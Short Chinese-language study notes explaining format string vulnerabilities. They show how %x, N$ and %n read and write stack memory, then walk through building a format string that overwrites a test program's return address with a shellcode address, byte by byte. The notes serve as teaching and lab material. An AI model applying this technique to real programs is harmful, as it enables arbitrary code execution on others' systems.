introduction and example of format string vulnerability
格式化字符串漏洞:利用格式化字符串操作函数实现对任意内存的读写
printf([格式化字符串],参数)
① 如果压入栈的参数数量少于格式化参数数量,格式化参数会处理栈中下一个值
./fmt_str AAAA%x.%x.%x.%x
AAAAbffff5a0.3e8.3e8.41414141
② N$ 可以直接对第N个参数做处理
./fmt_str AAAA%4$x
AAAA41414141
③ %n 可以将当前打印的字符数量写入对应参数中
int t=6;
printf("%12d%n\n",t,&t);
printf("%d\n",t);
6
12
可以自定义printf的字符串,则可以实现任意内存的读写
漏洞格式化字符串需要实现对fmt_str的RET指令地址写入已存入环境变量中的shellcode的开始地址
由于内存地址较大,需要用多次写方式
内存地址占4字节,需要向ret, ret+1, ret+2, ret+3分别写入shellcode地址的1个字节(小端顺序)
如ret:0xbfffecbc shellcode:0xbfffff8e
ret+3:0xbfffecbf bf
ret+2:0xbfffecbe ff
ret+1:0xbfffecbd ff
ret+0:0xbfffecbc 8e
填充打印字符数可用%Nx 打印长度为N
由于%x需要读取1个参数,可以规定读取第3个参数 %3$Nx
由于后面写入的值可能会小于前面写入的值,且参数打印至少打印长度为8
每次写入时,若需打印长度<8,则需要“绕卷”(+0x100)
构造的格式化字符串为
%3$192x%7$n 0xbf-0xff+0x100=192
%3$256x%6$n 0xff-0xff+0x100=256
%3$113x%5$n 0xff-0x8e=113
%3$126x%4$n 0x8e-4*4=126
0xbfffecbf ret+3
0xbfffecbe ret+2
0xbfffecbd ret+1
0xbfffecbc ret
在fmt_str.c中可计算的ret的地址为text的首地址+1036
则需要在ex_fmt文件中找到运行时text的首地址
在ex_fmt传入1个参数offset作为buf到text的猜测偏移量来猜测text地址
(可根据fmt_str中对text的地址的输出来比较尝试)